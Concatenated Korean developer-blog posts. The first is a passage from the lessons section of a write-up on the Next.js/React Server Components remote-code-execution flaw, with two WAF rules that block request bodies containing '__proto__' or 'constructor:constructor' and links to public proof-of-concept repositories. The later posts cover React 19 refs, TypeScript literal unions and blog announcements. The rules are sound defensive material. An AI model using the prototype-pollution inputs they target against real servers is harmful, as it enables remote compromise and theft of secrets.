
- API 키
- 데이터베이스 비밀번호
- JWT 시크릿
- 암호화 키
- 기타 민감한 환경변수

## 교훈

이번 사태에서 몇 가지 교훈을 얻을 수 있다.

### 1. 프레임워크의 숨겨진 의존성을 인식하자

Next.js뿐만 아니라 Vite, Remix 등 많은 프레임워크가 내부적으로 의존성을 번들링한다. `package.json`만 보고 "우리 앱은 안전해"라고 단정하면 안 된다.

### 2. `npm audit` 결과를 제대로 해석하자

`npm audit`은 취약점을 감지하지만, 번들된 의존성의 경우 실제 문제가 어디에 있는지 정확히 알려주지 않는다. Next.js CVE가 떴다면, 그게 Next.js 자체 코드 문제인지 번들된 React 문제인지 공지를 확인해봐야 한다.

### 3. 프레임워크 보안 공지를 구독하자

React 보안 공지만 보고 있으면 이번 취약점을 놓칠 수 있었다. Next.js를 사용한다면 Next.js 보안 공지도 함께 구독해야 한다.

- [Next.js 보안 공지](https://nextjs.org/blog)
- [React 블로그](https://react.dev/blog)
- [Vercel 보안 게시판](https://vercel.com/security)

### 4. 심층 방어(Defense in Depth)를 적용하자

이번 취약점은 **인증 없이** 공격 가능했다. WAF(Web Application Firewall) 등 추가적인 방어 계층이 있었다면 피해를 줄일 수 있었을 것이다.

```text
# WAF 규칙 예시: __proto__가 포함된 요청 차단
SecRule REQUEST_BODY "__proto__" "id:1001,deny,status:403"
SecRule REQUEST_BODY "constructor:constructor" "id:1002,deny,status:403"
```

물론 이건 임시 방편일 뿐, 근본적인 해결책은 패치다.

## 마치며

솔직히 이번 사태를 겪으면서 조금 씁쓸했다. Next.js가 React canary를 번들링하는 건 새로운 기능을 빨리 제공하기 위한 합리적인 선택이었다. 하지만 그 과정에서 **개발자가 자신의 앱에 어떤 버전의 코드가 실행되고 있는지 파악하기 어려워졌다.**

`package.json`에 `react: "19.1.2"`라고 적혀있는데 실제로는 다른 버전이 돌아가고 있다는 건 알고 있었다. 하지만 이게 보안 문제로 이어질 줄은 몰랐다. `npm audit`이 취약점을 감지해도 Next.js 문제로만 표시되니, React 코드에 문제가 있다는 걸 인지하기 어렵다. 이건 개발자 경험(DX) 관점에서 분명히 문제가 있다.

물론 이게 Next.js만의 문제는 아니다. 현대 프론트엔드 생태계 전체가 복잡한 번들링과 컴파일 과정을 거치면서, "내 앱에 뭐가 들어있는지"를 파악하기가 점점 어려워지고 있다. 이번 사태가 그 문제를 다시 한번 상기시켜 준 것 같다.

일단 지금은 패치하자. 그리고 나중에 시간이 되면, 우리가 사용하는 프레임워크가 내부적으로 무엇을 하고 있는지 한번쯤 들여다보는 것도 좋겠다.

## 참고

- [Next.js CVE-2025-66478 공식 공지](https://nextjs.org/blog/CVE-2025-66478)
- [Next.js 2025년 12월 11일 보안 업데이트](https://nextjs.org/blog/security-update-2025-12-11)
- [React 공식 블로그 - Critical Security Vulnerability](https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components)
- [React 공식 블로그 - DoS and Source Code Exposure](https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components)
- [Datadog Security Labs 분석](https://securitylabs.datadoghq.com/articles/cve-2025-55182-react2shell-remote-code-execution-react-server-components/)
- [JFrog 분석](https://jfrog.com/blog/2025-55182-and-2025-66478-react2shell-all-you-need-to-know/)
- [Wiz 블로그](https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182)
- [l4rm4nd/CVE-2025-55182 PoC 저장소](https://github.com/l4rm4nd/CVE-2025-55182)
- [msanft/CVE-2025-55182 PoC](https://github.com/msanft/CVE-2025-55182)
- [GitHub Issue #86930 - React 버전 불일치 문제](https://github.com/vercel/next.js/issues/86930)
- [React Canaries 블로그](https://react.dev/blog/2023/05/03/react-canaries)

---

Source: https://yceffort.kr/2025/12/react-19-ref-as-prop.md
Title: React 19: ref를 prop으로 사용하기
Description: React 19부터는 forwardRef 없이 ref를 prop으로 전달할 수 있다.
Date: 2025-12-11
Tags: react

## Table of Contents

## 개요

React 19에서는 함수형 컴포넌트에서 `ref`를 `prop`으로 직접 전달할 수 있게 되었다. 기존에는 함수형 컴포넌트가 인스턴스를 가지지 않기 때문에 `ref`를 `prop`으로 전달하더라도 무시되었고, 이를 해결하기 위해 `forwardRef`라는 고차 컴포넌트(HOC)를 사용해야 했다. 이번 글에서는 `forwardRef`가 사라지게 된 배경과 변경된 사용법에 대해 알아보자.

## forwardRef의 등장 배경

React 초기에는 클래스 컴포넌트가 주를 이루었고, 클래스 컴포넌트에서 `ref`는 해당 클래스의 인스턴스를 참조하는 용도로 사용되었다. 반면 `props`는 데이터를 전달하는 용도였기 때문에, React는 `ref`를 `props`에서 제외하고 별도로 처리했다.

```tsx
class MyComponent extends React.Component {
  doSomething() {
    console.log('Hello!')
  }

  render() {
    return <div>Hello</div>
  }
}

class Parent extends React.Component {
  myRef = React.createRef()

  handleClick = () => {
    // ref.current는 MyComponent의 인스턴스를 가리킨다.
    // 따라서 인스턴스 메서드를 직접 호출할 수 있다.
    this.myRef.current.doSomething()
  }

  render() {
    return <MyComponent ref={this.myRef} />
  }
}
```

함수형 컴포넌트가 도입된 이후에도 이러한 메커니즘은 유지되었다. 하지만 함수형 컴포넌트는 클래스가 아니기 때문에 `new` 키워드로 인스턴스화되지 않는다. 단순히 JSX를 반환하는 함수일 뿐이므로, `ref`를 전달하더라도 참조할 대상 자체가 존재하지 않았다.

```tsx
// 함수형 컴포넌트는 인스턴스가 없다
function MyButton({children}) {
  return <button>{children}</button>
}

// MyButton()은 그냥 함수 호출이다.
// 클래스처럼 new MyButton()으로 인스턴스를 만들 수 없다.
// 따라서 ref가 참조할 "인스턴스"가 애초에 존재하지 않는다.
```

이러한 제약을 해결하기 위해 React 16.3에서 `forwardRef`가 도입되었다. `forwardRef`는 함수형 컴포넌트가 `ref`를 두 번째 인자로 전달받을 수 있게 해주는 고차 컴포넌트(HOC)다. 이를 통해 부모로부터 받은 `ref`를 컴포넌트 내부의 실제 DOM 요소에 연결하거나, `useImperativeHandle`과 함께 사용하여 특정 메서드만 외부에 노출할 수 있게 되었다.

```tsx
// React 18 이하에서 ref를 직접 함수형 컴포넌트에 전달하려는 시도 (잘못된 방법)
import {useRef} from 'react'

function MyButton({children}) {
  return <button>{children}</button>
}

function App() {
  const buttonRef = useRef(null)

  // React는 MyButton 컴포넌트에 ref를 연결할 수 없으므로,
  // 개발 모드에서 "Function components cannot be given refs." 경고가 발생하고
  // buttonRef.current는 null이 된다.
  return (
    <div>
      <MyButton ref={buttonRef}>클릭하세요</MyButton>
      <button onClick={() => console.log(buttonRef.current)}>ref 확인</button>
    </div>
  )
}
```

```tsx
// React 18 이하 (forwardRef를 사용한 올바른 방법)
import {forwardRef} from 'react'

const MyInput = forwardRef((props, ref) => {
  return <input {...props} ref={ref} />
})
```

이 방식에는 몇 가지 불편한 점이 있었다.

- **복잡한 구문**: 컴포넌트를 정의할 때마다 `forwardRef`로 감싸야 했다.
- **타입스크립트의 복잡성**: `ForwardRefRenderFunction`이나 제네릭 타입 정의 순서 등 타입 정의가 번거로웠다.
- **DevTools**: `displayName`을 별도로 설정하지 않으면 익명 컴포넌트로 표시되는 경우가 많았다.

## React 19에서의 변화

React 19부터는 함수형 컴포넌트에서도 `ref`를 일반적인 `prop`처럼 사용할 수 있다. 내부적으로 함수형 컴포넌트일 경우 `ref`를 `props`에서 제거하지 않고 그대로 전달하도록 변경되었기 때문이다.

### 사용법 변화

이제 `forwardRef` 없이 `props`에서 `ref`를 꺼내 사용하면 된다.

```tsx
// React 19
function MyInput({placeholder, ref}) {
  return <input placeholder={placeholder} ref={ref} />
}

// 사용 예시
import {useRef} from 'react'

function App() {
  const inputRef = useRef(null)
  return <MyInput ref={inputRef} placeholder="검색어를 입력하세요" />
}
```

### 타입스크립트 예제

타입스크립트를 사용할 때도 별도의 `ForwardRefRenderFunction` 타입을 사용할 필요 없이, 일반적인 인터페이스에 `ref`를 추가하면 된다.

```tsx
interface SearchInputProps extends React.InputHTMLAttributes<HTMLInputElement> {
  label: string
  ref?: React.Ref<HTMLInputElement>
}

export default function SearchInput({label, ref, ...rest}: SearchInputProps) {
  return (
    <div className="flex flex-col">
      <label className="text-sm font-bold">{label}</label>
      <input ref={ref} className="border p-2 rounded" {...rest} />
    </div>
  )
}
```

## 장점

이번 변화로 인해 얻을 수 있는 장점은 다음과 같다.

1. **간결해진 코드**: `forwardRef` 래퍼가 제거되어 코드가 더 직관적이고 깔끔해졌다.
2. **HOC 작성 용이**: 고차 컴포넌트(HOC)를 작성할 때 `ref` 전달을 위해 별도의 로직을 구현할 필요 없이, 단순히 `props`를 전개하는 것만으로 충분해졌다.
3. **러닝 커브 감소**: `ref`와 `forwardRef`의 개념을 따로 학습할 필요가 없어졌다.

## 결론

React 19의 이번 업데이트는 오랫동안 개발자들을 괴롭혔던 `forwardRef` 패턴을 제거하고, `ref`를 직관적인 `prop`으로 되돌려놓았다. 기존에 작성된 `forwardRef` 코드도 여전히 동작하지만, 새로운 프로젝트나 리팩토링 시에는 `ref` prop 패턴을 사용하는 것이 좋다. React 팀은 향후 `forwardRef`를 deprecated 처리할 예정이라고 하니, 점진적으로 마이그레이션을 준비하는 것이 좋겠다.

## 참고

- [React v19 공식 블로그](https://react.dev/blog/2024/12/05/react-19#ref-as-a-prop)
- [forwardRef API 문서](https://react.dev/reference/react/forwardRef)

---

Source: https://yceffort.kr/2025/12/blog-is-back.md
Title: 블로그 정상영업합니다
Description: 2~3년 만에 돌아왔습니다
Date: 2025-12-05
Tags: career, ai

## 오랜만입니다

블로그를 거의 2~3년 가까이 방치했습니다. 그 사이에 책을 두 권 썼고, 세 번째 책도 마무리되었습니다. 내년 봄이나 여름쯤 출간될 것 같습니다. 책을 쓴다는 건 생각보다 체력과 정신력을 많이 소모하는 일이라, 블로그까지 신경 쓸 여유가 없었습니다. 맞아요 핑계입니다 ㅋㅅㅋ

사실 글을 아예 안 쓴 건 아니고, 회사에서 운영하는 tech-share에 기술 글을 올리고 있었습니다. 그런데 이제 거기는 잠시 멈추고, 다시 여기에 집중하려고 합니다. 아무래도 개인 블로그에서 글 쓰는 게 더 재밌고, 집중도 더 잘 되는 것 같습니다. 회사 블로그는 아무래도 신경 쓰이는 부분이 있으니까요.

이제 책 작업도 마무리되었고, 숨 좀 고르면서 다시 시작해보려 합니다.

## 대 AI 시대, 그리고 10년차 개발자의 고민

책을 쓰는 동안 세상이 정말 많이 바뀌었습니다. ChatGPT가 나오고, Claude가 나오고, 이제는 AI가 코드도 짜고 글도 쓰고 그림도 그립니다. 프론트엔드 개발자로 10년 가까이 일하면서, 이렇게 큰 변화는 처음인 것 같습니다. jQuery에서 React로 넘어갈 때도, React에서 Next.js로 넘어갈 때도 큰 변화라고 생각했는데, 지금 일어나고 있는 변화는 진짜 차원이 다릅니다.

처음에는 솔직히 많이 불안했습니다. 업무 성격이 바뀌면서 한동안 우울하기도 했고요. 그런데 직접 AI와 함께 개발을 해보니까, 요즘은 오히려 재밌습니다. 예전에 React 소스코드 분석하는 데 일주일 꼬박 썼던 기억이 나는데, 이제는 AI랑 함께하면 금방금방 할 수 있습니다. 마치 날개를 달아준 것 같은 느낌이랄까요. 이 블로그 리뉴얼도 Claude Code의 도움을 꽤 받았습니다. 다시 이렇게 개발하고 글 쓰면서 활력을 좀 찾은 것 같습니다.

그래도 앞으로 어떻게 해야 할지는 여전히 고민입니다. 여러 가지 생각이 머릿속을 맴돕니다.

**개발자로서의 고민**

AI가 코드를 짜는 시대에 개발자의 역할은 무엇일까요? 예전에는 "이 기능을 어떻게 구현하지?"가 고민이었다면, 이제는 "AI에게 어떻게 설명하지?"가 더 중요해진 것 같기도 합니다. 코드를 직접 작성하는 능력보다 문제를 정의하고, AI의 결과물을 검증하고, 아키텍처를 설계하는 능력이 더 중요해지는 건 아닐까요?

그렇다고 코딩 실력이 필요 없어지는 건 아닐 겁니다. AI가 만든 코드를 제대로 이해하고 평가하려면 결국 실력이 있어야 하니까요. 다만 요구되는 실력의 범위가 더 넓어진 것 같습니다.

**블로거로서의 고민**

기술 블로그의 의미도 고민이 됩니다. 이제 궁금한 게 있으면 ChatGPT에게 물어보면 되는데, 굳이 블로그 글을 읽을 사람이 있을까요? 검색해서 블로그 글을 찾아 읽는 시대가 저물고 있는 것 같기도 합니다.

그래도 블로그를 계속 쓰려는 이유가 있습니다. AI는 "정답"을 잘 알려주지만, 개발자가 실제로 겪는 고민과 삽질의 과정은 잘 모릅니다. "이런 상황에서 이렇게 했더니 이런 문제가 생겼고, 결국 이렇게 해결했다"는 경험은 여전히 가치가 있다고 생각합니다. 적어도 저에게는요.

뭐, 사실 아무도 안 읽어도 크게 상관없습니다 ㅋㅅㅋ 그냥 자기 만족입니다.

**기술 서적 저자로서의 고민**

책은 더 고민입니다. 몇 달에 걸쳐 책을 쓰는 동안 기술이 바뀌고, AI가 더 똑똑해지면, 책이 나올 때쯤에는 이미 구식이 되어 있을 수도 있습니다. 그래도 책만이 줄 수 있는 체계적인 구조와 깊이가 있다고 믿고 싶습니다.

앞으로 어떤 책을 쓸지도 고민입니다. 단순히 API 레퍼런스를 나열하는 백과사전식 책은 이제 AI한테 물어보면 되니까요. 기술 트렌드가 바뀌어도 오래 읽힐 수 있는 본질적인 내용을 담은 책, 혹은 요즘 취업 시장에서 고생하고 있는 주니어 개발자분들에게 실질적인 도움이 되는 책을 쓰고 싶습니다.

## 블로그 개편

돌아온 김에 블로그도 좀 손봤습니다. 터미널 느낌의 커맨드 팔레트(`Cmd+P`)를 추가하고, About/Resume 페이지를 합치고, 태그 페이지에 애니메이션도 넣었습니다. 자잘한 디자인도 이것저것 수정했습니다. 개발자 감성을 좀 더 살려보려고 했는데, 어떤지 모르겠네요.

## 앞으로

일단 블로그 자주 쓰겠다고 선언합니다. 선언하면 좀 더 책임감이 생기니까요. 물론 사는 게 바빠지면 또 못 쓸 수도 있습니다.

예전처럼 긴 기술 글을 쓸 수도 있고, 짧은 메모 같은 글을 쓸 수도 있습니다. AI 시대에 블로그가 어떤 의미가 있는지 아직 모르겠지만, 일단 써보면서 생각해보려고 합니다. 쓰다 보면 답이 보이지 않을까요.

다시 잘 부탁드립니다.

---

Source: https://yceffort.kr/2025/12/typescript-literal-union-autocomplete.md
Title: 문자열 리터럴 유니온에 string을 추가하면 자동완성이 사라지는 이유
Description: type Color = "red" | "blue" | string // 자동완성: 🦗...
Date: 2025-12-05
Tags: typescript

## Table of Contents

## 서론

`'red' | 'blue' | string` 타입을 정의하면 자동완성이 사라지는 현상이 있다. 이 문제는 TypeScript GitHub [#29729](https://github.com/microsoft/TypeScript/issues/29729)에 등록되어 있고, 244개의 👍를 받았지만 "설계적 한계"로 분류되어 해결되지 않고 있다.

이 글에서는 왜 이런 현상이 발생하는지, 그리고 커뮤니티에서 발견한 `string & {}` 트릭이 어떤 원리로 작동하는지 살펴본다.

## 문제 상황

예를 들어, CSS 색상을 다루는 인터페이스를 만든다고 가정해보자.

```typescript
interface Options {
  borderColor: 'black' | 'red' | 'green' | 'yellow' | 'blue'
}
```

이렇게 하면 자동완성이 잘 된다. `borderColor:`를 입력하는 순간 IDE가 친절하게 `'black'`, `'red'` 등을 보여준다. 그런데 문제가 있다. 16진수 색상 코드 (`#ff5500`)나 `rgb(255, 0, 0)` 같은 값은 어떻게 할 것인가? 가능한 모든 색상 값을 나열할 수는 없다. (1670만개의 hex 색상 조합을 나열할 자신이 있다면 뭐...)

그래서 자연스럽게 이렇게 수정하게 된다.

```typescript
interface Options {
  borderColor: 'black' | 'red' | 'green' | 'yellow' | 'blue' | string
}
```

그리고 신나게 `borderColor:`를 입력하면...

```typescript
const opts: Options = {
  borderColor: // 🦗 자동완성이 없다
}
```

자동완성이 증발해버렸다. 분명 `'black'`, `'red'` 같은 리터럴을 넣어뒀는데, IDE는 아무것도 제안하지 않는다.

## 왜 이런 일이 발생하는가?

타입스크립트 관점에서 생각해보자. `'red' | 'blue' | string`이라는 타입을 보면 어떻게 될까?

타입 시스템에서 `'red'`는 `string`의 서브타입이다. 즉, 모든 `'red'`는 `string`이다. 유니온 타입에서 서브타입은 상위 타입에 흡수되어 버린다. 마치 수학에서 `{1, 2} ∪ 자연수 = 자연수`인 것처럼.

```typescript
type Color = 'red' | 'blue' | string
// 실제로는 그냥 string과 동일하다
```

타입스크립트 팀의 Ryan Cavanaugh는 이에 대해 이렇게 말했다:

> "컴파일러 관점에서 이는 `string`을 쓰는 복잡한 방식일 뿐입니다"

타입 시스템의 관점에서는 완벽하게 맞는 말이다. 문제는 개발자 경험(DX) 관점에서 리터럴 정보가 사라져버린다는 것이다. 이 이슈는 TypeScript GitHub에서 [#29729](https://github.com/microsoft/TypeScript/issues/29729)로 등록되어 있고, 244개의 👍를 받았다. 그만큼 많은 개발자들이 이 문제로 고통받고 있다는 뜻이다.

## 해결책: `& {}` 트릭

커뮤니티에서 발견한 해결책이 있다. 바로 `& {}`를 활용하는 것이다.

```typescript
type LiteralUnion<T extends string> = T | (string & {})

type Color = LiteralUnion<'red' | 'blue' | 'green'>

const color: Color = '' // 'red', 'blue', 'green' 자동완성이 된다! ✅
```

뭔가 해킹 같은 느낌이지만, 작동한다. 원리를 살펴보자.

### 왜 `string & {}`가 작동하는가?

이 트릭이 작동하는 원리를 이해하려면, 타입스크립트가 유니온 타입을 어떻게 단순화(simplify)하는지 알아야 한다.

#### 1. 유니온 타입의 단순화 규칙

타입스크립트는 유니온 타입을 만들 때, 서브타입 관계에 있는 타입들을 자동으로 정리한다. `A`가 `B`의 서브타입이면, `A | B`는 그냥 `B`로 단순화된다.

```typescript
type T1 = 'red' | string // string (리터럴이 흡수됨)
type T2 = number | 1 // number (리터럴이 흡수됨)
type T3 = string | unknown // unknown (string이 흡수됨)
```

`'red'`는 `string`의 서브타입이므로, `'red' | string`은 `string`으로 단순화된다. 이 과정에서 `'red'`라는 정보가 완전히 사라져버린다.

#### 2. `{}`는 무엇인가?

타입스크립트에서 `{}`는 "빈 객체 타입"이 아니라 **"null과 undefined를 제외한 모든 값"** 을 의미한다. 이게 좀 헷갈리는 부분인데, 타입스크립트의 구조적 타이핑 때문에 그렇다.

```typescript
type A = {}

const a: A = 'hello' // ✅ 문자열도 {}에 할당 가능
const b: A = 123 // ✅ 숫자도 {}에 할당 가능
const c: A = {foo: 1} // ✅ 객체도 당연히 가능
const d: A = null // ❌ null은 불가
const e: A = undefined // ❌ undefined도 불가
```

자바스크립트에서 원시 타입도 래퍼 객체를 통해 프로퍼티에 접근할 수 있기 때문이다. `'hello'.length`가 동작하는 것처럼.

#### 3. `string & {}`는 왜 `string`과 다른가?

여기서 핵심이 나온다. 타입 시스템 관점에서 `string & {}`는 `string`과 **구조적으로 동등(structurally equivalent)** 하다. 모든 문자열은 `{}`를 만족하므로, `string & {}`에 할당할 수 있는 값의 집합은 `string`과 완전히 동일하다.

```typescript
type Test = string & {}

const a: Test = 'hello' // ✅
const b: Test = '#ff5500' // ✅

// 반대 방향도 마찬가지
const c: string = 'hello' as Test // ✅
```

그러나 타입스크립트 컴파일러 내부에서는 이 둘을 **다른 타입 객체(different type identity)** 로 취급한다. 유니온 타입을 단순화할 때, 타입스크립트는 "이 타입이 저 타입의 서브타입인가?"를 체크하는데, `string`과 `string & {}`는 서로 다른 타입 ID를 가지고 있어서 단순화 대상이 되지 않는다.

```typescript
type Color1 = 'red' | string // string (단순화됨)
type Color2 = 'red' | (string & {}) // 'red' | (string & {}) (단순화 안됨!)
```

#### 4. IDE가 자동완성을 제공하는 방식

IDE(정확히는 TypeScript Language Service)는 유니온 타입에서 리터럴 멤버를 추출해서 자동완성 후보로 제공한다.

- `'red' | string` → 단순화되어 `string`만 남음 → 리터럴 없음 → 자동완성 없음
- `'red' | (string & {})` → 단순화되지 않음 → `'red'`가 살아있음 → 자동완성 제공

#### 5. 정리

| 타입                     | 값의 집합   | 타입 ID     | 자동완성 |
| ------------------------ | ----------- | ----------- | -------- |
| `string`                 | 모든 문자열 | A           | ❌       |
| `string & {}`            | 모든 문자열 | B           | -        |
| `'red' \| string`        | 모든 문자열 | A (단순화)  | ❌       |
| `'red' \| (string & {})` | 모든 문자열 | 유니온 유지 | ✅       |

결국 이 트릭은 타입의 **구조적 동등성** 과 **타입 ID** 가 다르다는 점을 이용한 것이다. 값의 집합은 동일하지만, 컴파일러가 내부적으로 다르게 처리하기 때문에 단순화를 피할 수 있다.

## 실전 예제

### CSS 색상 타입

```typescript
type LiteralUnion<T extends string> = T | (string & {})

type CSSColor = LiteralUnion<
  'black' | 'white' | 'red' | 'green' | 'blue' | 'transparent' | 'currentColor'
>

function setBackground(color: CSSColor) {
  // ...
}

setBackground('red') // ✅ 자동완성 됨
setBackground('#ff5500') // ✅ 임의의 문자열도 허용
setBackground('rgb(255, 0, 0)') // ✅
```

### HTTP 메서드

```typescript
type HTTPMethod = LiteralUnion<'GET' | 'POST' | 'PUT' | 'DELETE' | 'PATCH'>

function request(method: HTTPMethod, url: string) {
  // ...
}

request('GET', '/api/users') // ✅ 자동완성
request('OPTIONS', '/api/users') // ✅ 비표준 메서드도 허용
```

### 이벤트 이름

```typescript
type EventName = LiteralUnion<'click' | 'submit' | 'change' | 'input'>

function on(event: EventName, handler: () => void) {
  // ...
}

on('click', () => {}) // ✅ 자동완성
on('custom-event', () => {}) // ✅ 커스텀 이벤트도 허용
```

## 제네릭으로 확장하기

문자열 외에 다른 타입에도 적용할 수 있도록 제네릭 버전을 만들 수 있다.

```typescript
type LiteralUnion<T extends U, U = string> = T | (U & {})

// 문자열
type Color = LiteralUnion<'red' | 'blue'>

// 숫자
type Port = LiteralUnion<80 | 443 | 8080, number>

const port: Port = 3000 // ✅ 임의의 숫자 허용, 80/443/8080 자동완성
```

## 왜 TypeScript 팀은 이 문제를 해결하지 않았을까?

이 이슈는 "Design Limitation"(설계적 한계)으로 분류되어 닫혔다. 244개의 👍를 받을 만큼 많은 개발자들이 원했지만, TypeScript 팀이 해결하지 않은 데는 몇 가지 이유가 있다.

### 1. 타입 시스템의 일관성

타입스크립트의 타입 시스템은 집합론에 기반한다. `'red'`는 `string`의 부분집합이고, 유니온 타입은 합집합 연산이다. `{1, 2} ∪ 자연수 = 자연수`인 것처럼, `'red' | string = string`이 되는 것은 수학적으로 올바른 동작이다.

이 원칙을 깨면 타입 시스템의 다른 부분에서 예상치 못한 문제가 발생할 수 있다. 예를 들어, 조건부 타입이나 타입 추론에서 일관성이 깨질 수 있다.

### 2. 성능 문제

리터럴 타입 정보를 유지하려면 컴파일러가 더 많은 정보를 추적해야 한다. 대규모 코드베이스에서 `'a' | 'b' | 'c' | ... | string` 같은 타입이 수천 개 있다면, 단순화하지 않고 모든 리터럴을 유지하는 것은 메모리와 성능에 부담이 된다.

현재 구조에서는 `'red' | string`을 만나면 바로 `string`으로 단순화해버리기 때문에 효율적이다.

### 3. "올바른" 해결책의 부재

이 문제를 제대로 해결하려면 타입 시스템에 새로운 개념을 도입해야 한다. 예를 들어:

```typescript
// 가상의 문법
type Color = 'red' | 'blue' | (string as suggestions)
```

"타입 체크는 string으로 하되, IDE에는 리터럴 힌트를 제공한다"는 개념이 필요하다. 하지만 이는 타입 시스템과 IDE 힌트를 분리하는 것인데, 타입스크립트는 지금까지 이 둘을 동일시해왔다. 타입이 곧 IDE가 아는 정보였다.

이런 이원화는 새로운 복잡성을 야기하고, "타입은 맞는데 자동완성은 틀리다"거나 그 반대 상황을 만들 수 있다.

### 4. 커뮤니티 해결책의 존재

`string & {}` 트릭이 이미 널리 알려져 있고, `type-fest` 같은 라이브러리에서 제공하고 있다. 완벽하진 않지만 실용적인 해결책이 존재하는 상황에서, 타입 시스템을 근본적으로 변경하는 것은 리스크 대비 이득이 크지 않다고 판단한 것으로 보인다.

### 개인적인 의견

솔직히 아쉬운 결정이다. 타입 시스템의 순수성을 지키는 것도 중요하지만, 타입스크립트의 존재 이유 중 하나는 개발자 경험(DX) 향상이다. 자동완성은 DX의 핵심 기능이고, 이 문제는 실제로 많은 개발자들이 겪는 pain point다.

다만 TypeScript 팀의 입장도 이해는 된다. 타입 시스템은 한번 변경하면 되돌리기 어렵고, 수백만 개의 프로젝트에 영향을 미친다. "완벽하지 않지만 동작하는 해결책"이 있는 상황에서 보수적으로 접근하는 것도 합리적인 선택이다.

## 주의사항

`string & {}` 트릭은 어디까지나 해킹에 가깝다. 타입스크립트의 내부 구현에 의존하고 있기 때문에, 미래 버전에서 동작이 달라질 수 있다. (지금까지는 잘 작동하고 있지만)

또한 이 패턴은 이미 많은 유명 라이브러리에서 사용되고 있다:

- [csstype](https://github.com/frenic/csstype): CSS 타입 정의
- [type-fest](https://github.com/sindresorhus/type-fest): `LiteralUnion` 유틸리티 제공

직접 구현하기보다는 `type-fest`의 `LiteralUnion`을 사용하는 것도 좋은 방법이다.

```bash
npm install type-fest
```

```typescript
import type {LiteralUnion} from 'type-fest'

type Color = LiteralUnion<'red' | 'blue', string>
```

## 마치며

`'red' | string`이 그냥 `string`으로 축소되어 버리는 것은 타입 이론 관점에서는 올바른 동작이다. 하지만 개발자 경험 측면에서는 분명히 아쉬운 부분이 있다. 타입스크립트 팀도 이를 인지하고 있지만, 아키텍처적인 제약으로 인해 쉽게 해결할 수 없다고 한다.

다행히 `& {}` 트릭으로 이 문제를 우회할 수 있다. 타입 안전성을 유지하면서도 편리한 자동완성을 제공하는, 꽤 괜찮은 해결책이다. 물론 조금 이상해 보이는 건 사실이지만, 때로는 실용성이 아름다움보다 중요한 법이다.

> 참고: https://github.com/microsoft/TypeScript/issues/29729

---

Source: https://yceffort.kr/2025/11/web-performance-deep-dive-beta-reader.md
Title: web performance deep dive (가제) 베타 리더를 모십니다. (마감)
Description: 많관부
Date: 2025-11-10
Tags: web-performance

# 마감되었습니다. 감사합니다.

제 세번째 책인 가제 `<<web performance deep dive>>`의 베타 리더를 모십니다.

이 책을 한줄로 요약하자면, "웹 성능의 모든 계층을 이해하고 실무에서 바로 적용 가능한 26가지 최적화 기법을 다룬 책" 이라고 볼 수 있습니다.

분량은 현재 전작인 react deep dive, npm deep dive 의 1.2배 ~ 1.5배 정도 될 것으로 보입니다. (정확치 않습니다.)

## 베타 리더가 하는 일

- private github 에 초대 받으셔서 2026년 1월 1일 ~ 1월 31일 사이에 책을 읽어 주세요.
- 책에 대한 의견을 자유롭게 정해진 양식 없이 해당 github 이슈에 적어주세요.
  - 저자가 F 감성의 소유자이기 때문에 공격적인 의견 보다는 따뜻한 응원의 말씀으로 부탁드립니다. 😉
- 책 앞 페이지에 실릴 베타리더 감상평을 해당 github 이슈에 작성해주세요.
  - 4 ~ 5줄 정도의 분량으로 작성 부탁드립니다.
  - 편집부에서 한번 검수해주시기 때문에, 글 작성에 너무 많은 공을 들이지 않으셔도 됩니다.
  - chatgpt, claude code 등 생성형 AI는 사용하지 말아주세요. 글에서 사람 냄새가 필요합니다 😭

## 베타 리더 특전

- 책 앞 쪽에 베타 리더의 메시지가 적혀서 출판됩니다. (순서는 이름 순입니다.)
- 2026년 언젠가 책이 출판된다면, 해당 책을 선물로 한 권 드리겠습니다.
- 추가로 위키북스에서 읽고 싶으신 책을 선물로 한 권 드리겠습니다.
  - 다른 출판사 책은 불가능합니다. (위키북스 만세)
- 도서가 아니라도 도움이 필요하신게 있다면 도와드리도록 하겠습니다.

## 지원하는 및 지원 자격

- 프론트엔드 개발을 3년 이상 하셨다면 누구나
- root@yceffort.kr 에 `[베타리더신청]` 말머리로 메일을 작성해주세요. 메일에는 다음 내용을 담아주세요.
  - 소속과 하시는 일
  - 이력서

  > 베타 리더 내용에 어떤 분인지 적어야 되서 수집하게 되었습니다. 그 이외의 용도로는 사용하지 않습니다.

## 모집

- 모집은 2025년 11월 30일까지 입니다.
- 목표인원은 4 ~ 6명인데, 혹시 만약에 사람이 넘친다면 룰렛을 돌려서 랜덤하게 지정하겠습니다.

감사합니다 🙇🏻‍♂️

---

Source: https://yceffort.kr/2025/08/npm-deep-dive-author-talk.md
Title: npm Deep Dive 온라인 저자 특강
Description: npm Deep Dive 온라인 저자 특강을 진행합니다
Date: 2025-08-08
Tags: nodejs

## npm Deep Dive 온라인 저자 특강

8월 11일(월) 저녁 8시에 npm Deep Dive 온라인 저자 특강을 진행합니다.

### 일정

- 2025년 8월 11일(월) 20:00~21:30
- Zoom으로 진행
- 참가비 무료

### 대상

- npm Deep Dive를 읽으신 분
- npm 생태계에 관심 있는 분

### 내용

- 1부: 책 이야기
- 2부: 미래를 보다
- 3부: AI 시대에 개발자로 살아남기

참가자 중 5명 추첨하여 위키북스 전자책을 드립니다.

### 신청

[https://forms.gle/wfQerH4UY1jhN6Y4A](https://forms.gle/wfQerH4UY1jhN6Y4A)

---

Source: https://yceffort.kr/2025/06/web-performance-analysis-4.md
Title: 웹 서비스 성능 분석 (4)
Description: 나도 해볼까.. 라는 생각이 든다면 바로 지금 연락주세요!!
Date: 2025-07-19
Tags: web-performance, frontend
Series: 웹 서비스 성능 분석

## 실제 개발자 피드백

> 다음은 실제 개발자분이 보내주신 피드백입니다.

### 글이 많이 도움이 되었는지

읽는 내내 '와...' 소리가 나올 정도로 정말 많은 도움이 되었습니다.
상세하게 분석해주셔서 정말 감사드립니다.

이번에 애니메이션 라이브러리를 활용해 포트폴리오를 만들면서 처음으로 웹 성능에 대해 고민하게 되었습니다.
성능, 라이트 하우스 탭을 계속 살펴보며 자바스크립트 번들 줄이는 법 등 이런저런 문서들을 찾아 보았지만,
익숙하지 않은 내용들이라 스스로 해결하기가 어려웠습니다.

그러다가 저자님께 분석 서비스를 요청드렸는데, 정말 상세하고 전문적으로 분석에 감탄했습니다.
웹 성능 최적화를 위한 여러가지 전략 뿐만 아니라 SEO와 접근성을 고려한 원칙을 자세히 소개해주시고,
